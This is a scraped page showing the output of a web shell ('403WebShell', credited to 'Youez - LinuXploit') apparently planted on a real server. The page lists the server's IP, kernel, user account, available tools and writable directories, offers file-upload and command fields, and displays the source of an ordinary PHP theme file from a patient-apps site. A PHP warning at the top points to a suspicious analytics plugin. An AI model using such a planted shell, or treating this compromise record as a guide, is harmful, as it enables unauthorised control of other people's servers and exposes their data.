Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_www/modules/themeAthena/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_www/modules/themeAthena/main.php
<?php

namespace modules\themeAthena;

class main extends \moduleMain {

	use \modules\output\traits {
			\modules\output\traits::__construct as __ConstructOutput;
		}

	public function __construct() {
		$this->__ConstructOutput();
	}
	
	public function Activate() {
	}

	public function Button(&$result, $text, $logoclass = 'fa-envelope-o', $colorclass = 'cc-gray', $outline = FALSE) {
		if ($result == '') {
			if ($logoclass != '') {
                if (!preg_match('~\b(fa|fab|fas|far)\b~', $logoclass)) {
                    $logoclass = 'fa ' . $logoclass;
                }
				$result = <<<BLOCK
<span class="athena-button $colorclass"><i class="fa-icon $logoclass"></i><span class="btn-text logo">$text</span></span>
BLOCK;
			} else {
				$result = <<<BLOCK
<span class="athena-button $colorclass"><span class="btn-text">$text</span></span>
BLOCK;
			}
		}
	}

	// load html, css, javascript for the theme
	public function Load() {
		Hook_add('html.button', [$this, 'Button']);
	// themes are loaded last - too late to install hooks
		$ext = $this->getJsExtension();
		
		$id = $this->IncludeFile("https://code.jquery.com/jquery-3.2.1{$ext}", 'jquery');
//		if (!$config->debug) $id->Integrity('sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4=')->CrossOrigin('anonymous');
		$id->tag('jquery');
		$this->IncludeFile("https://cdnjs.cloudflare.com/ajax/libs/handlebars.js/4.0.6/handlebars{$ext}")
				->Version('');
		// https://cdnjs.com/libraries/font-awesome/5.12.0-1
		$this->IncludeFile('https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css', 'awesome')
				->Integrity('sha512-1ycn6IcaQQ40/MKBW2W4Rhis/DbILU74C1vSrLJxCq57o941Ym01SwNsOMqvEBFlcgUa6xLiPY/NS5R+E6ztJQ==')
				->CrossOrigin('anonymous')
				->Version('');
				
		// bootstrap css cannot just be thrown it.
/*		$this->IncludeFile('https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/css/bootstrap.min.css')
				->Integrity('sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm')
				->CrossOrigin('anonymous')
				->Version(''); */

		
		$this->IncludeFile('https://cdn.jsdelivr.net/npm/popper.js@1.12.9/dist/umd/popper.min.js')
			->Integrity('sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q')
			->CrossOrigin('anonymous')
			->Version('');

		$this->IncludeFile('https://code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css')
				->Version('');
		$this->IncludeFile("https://code.jquery.com/ui/1.12.1/jquery-ui{$ext}", 'jquery-ui')
				->Version('')
				->depends('jquery');

/*		$this->IncludeFile('https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/js/bootstrap.min.js')
			->Integrity('sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl')
			->CrossOrigin('anonymous')
			->Version(''); */

			
//		$base = $this->StaticUriModule(__DIR__);
//		$this->IncludeFile("$base/jquery-ui/jquery-ui.min.css")
//				->Version('1.13.3');
	}
	
	public function run($data) {

		$navigation = [];
		header('Content-type: text/html; charset=utf-8');
		echo $this->render($navigation, $data);
	}
	
	// all items are on a single line, with separators
	private function GenerateSingleLineMenu_html($menu, $icononly = FALSE) {
		$output = '';
		foreach((array)$menu as $menu_item) {
			if ($icononly) {
				$line = $menu_item['icon'];
			} else {
				$line = $menu_item['caption'];
			}
			$class = $menu_item['class'] ?? '';
			$hint =  $menu_item['hint'] ?? '';
			$rel =   $menu_item['rel'] ?? '';
			if ($hint != '') $hint = ' title="' . htmlspecialchars($hint) . '"';
			if ($rel != '')  $hint .= " rel=\"$rel\"";
			if (!empty($menu_item['href']) && $menu_item['href'] != 'false') {	//  != '' && $menu_item['href'] !== FALSE
				if ($class != '') {
					$line = "<a class=\"$class\" href=\"{$menu_item['href']}\"$hint>$line</a>";
				} else {
					$line = "<a href=\"{$menu_item['href']}\"$hint>$line</a>";
				}
			} elseif ($class != '' || $hint != '') {
				$line = "<span class=\"$class\"$hint>$line</span>";
			}
			$class = isset($menu_item['parent']) ? ' ' . $menu_item['parent'] : '';
			$output .= '<span class="menuitem-single' . $class . '">' . $line . '</span>';
		}
		return $output;
	}
	
	private function retrieveMenu($menuname) {
		$info = hook_execute('menu.' . $menuname, []);
        if ($menuname == 'menu2') {     // profile menu does not need home button, if this theme is active
            foreach($info as $index => $item) {
                if ($item['href'] == '/') {
                    unset($info[$index]);
                    break;
                }
            }
        }
		// sort by display order?
		return $info;
	}
    
    private function GenerateTopMenu($menu) {
		$base = $this->StaticUriModule(__DIR__);
        $result = '';
        //to do: hilight current page:  class=\"current\"
        $uri = $_SERVER['REQUEST_URI'];
        foreach($menu as $item) {
            $safeurl = htmlspecialchars($item['href']);
            $safetext = htmlspecialchars($item['caption']);
            if ($uri==$item['href']) {
				$result .= "<li><a class=\"current\" href=\"{$safeurl}\">{$safetext}</a></li>";
			} else {
				$result .= "<li><a href=\"{$safeurl}\">{$safetext}</a></li>";
			}
        }

    //mobile view nav start 
    $result .= '<nav class="navbar">
			  <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
			    <span class="navbar-toggler-icon"><i class="fas fa-bars"></i></span>
			  </button>
  			<div class="collapse navbar-collapse" id="navbarNav">
    		<ul class="navbar-nav">';
      foreach($menu as $item) {
                  $safeurl = htmlspecialchars($item['href']);
                  $safetext = htmlspecialchars($item['caption']);
                  if ($uri==$safeurl) {
      				$result .= "<li><a class=\"current nav-link\" href=\"{$safeurl}\">{$safetext}</a></li>";
      			} else {
      				$result .= "<li><a class=\"nav-link\" href=\"{$safeurl}\">{$safetext}</a></li>";
      			}
        }
    $result .='</ul>
  </div>
</nav>';
//mobile view nav end 

        return <<<BLOCK
<ul class="menu-top">
$result
</ul>
BLOCK;
    }
	
	private function render($navigation, $page_data) {
		$base = $this->StaticUriModule(__DIR__);
		$ext = $this->getJsExtension();

		hook_execute('html.prepare', $this);
		// any files included here are at the end of the list
		$this->IncludeFile("/static/jquery.jeditable.css");
		$this->IncludeFile("/static/jquery.jeditable$ext")->depends('jquery');
		$this->IncludeFile($base . '/template.css')->depends('maincss');

		$title = empty($page_data['page_title']) ? '' : $page_data['page_title'];
        if (empty($title)) 
            $title = $this->Title();
		if (!empty($title)) {
			$dtitle = '<title>' . htmlspecialchars($title) . "</title>\n";
		} else {
			$dtitle = '';
		}		$this->IncludeFile("/static/jquery.jeditable.css");
		$this->IncludeFile("/static/jquery.jeditable$ext")->depends('jquery');


		$menu = $this->RetrieveMenu('menu1');		// Top Left Menu
  	// handle MenuEdit_Model::MENUFLAG_CUSTOM
		$menu1 = $this->GenerateTopMenu($menu);
/*		
		$menu = $this->RetrieveMenu($displayobject, 'menu3');			// Footer - SingleLine Menu
		$menu3 = $this->GenerateSingleLineMenu_html($menu);

		$new_nav = $this->GenerateProfileMenu_html($navigation, TRUE);	// top menu items are created right to left
		$menu1 = $new_nav = '';
*/

		$menu = $this->RetrieveMenu('menu2');			// profile menu. home button can be removed
		$menu2 = $this->GenerateSingleLineMenu_html($menu, TRUE);
		
		$menu = $this->RetrieveMenu('menu3');			// Footer - SingleLine Menu
		$menu3 = $this->GenerateSingleLineMenu_html($menu);
		
		$body = $this->body();
		if ($body === null) $body = '';
		$body = $this->hook_apply_late($body);

		$footer = '';
		if (hook_exists('html.footer')) {
			$footer = hook_execute('html.footer', $footer);		// executed before GetInclude so $displayobject can be modified
		}
		
		$inc = hook_execute('html.head', '');

		$header_item_3 = $this->OutputGet('header_item_3', '');
		$header_item_2 = $this->OutputGet('header_item_2', '');
	   
        $xtitle = htmlspecialchars($title);
		
		$htmlclass = $this->OutputGet('html_class', '');
		$htmlclass = $htmlclass == '' ? '' : " class=\"$htmlclass\"";
		$page_class = $this->OutputGet('page_class', '');
		$pageheader = hook_exists('page.header') ? hook_execute('page.header', '') : '';		// content header. eg carousel
		$pagefooter = hook_exists('page.footer') ? hook_execute('page.footer', '') : '';		// visible footer on the page 
		$htmlfooter = hook_exists('html.footer') ? hook_execute('html.footer', '') : '';		// javascript just before closing </body>

		$html = <<<BLOCK
<!doctype html>
<html lang="en"{$htmlclass}>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<link href="https://fonts.googleapis.com/css2?family=Exo:wght@400;500;600;700;800;900&display=swap" rel="stylesheet">
	{$dtitle}{$inc}
</head>

<body class="page-outer background cms">
<div class="page-inner $page_class">
	<div class="nagivation">
		<div class="w-100 z-index-99 navigation-holder colored">
			<div class="w-content m-center">
				<a href="/"><img src="{$base}/patientappslogo-big.svg" class="img-logo" alt="logo"></a>{$menu1}
			</div>
		</div>
	</div>
</div>
{$pageheader}
<div class="page-inner $page_class">
	<div class="post-container w-100 flex-column d-flex flex-lg-row position-relative pt-20-lg">
		<div class="d-flex position-relative justify-content-center w-100 ">
			<div class="post-content body-part w-content" id="pagecontainer">
				<article class="body">$body</article>
			</div>
		</div>
	</div>
	<div id="footer-strip"><footer class="w-content">$menu3</footer></div>
</div>
<div id="popupdialog" class="popup-dialog"></div>
{$htmlfooter}
</body>
</html>
BLOCK;

		return $html;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit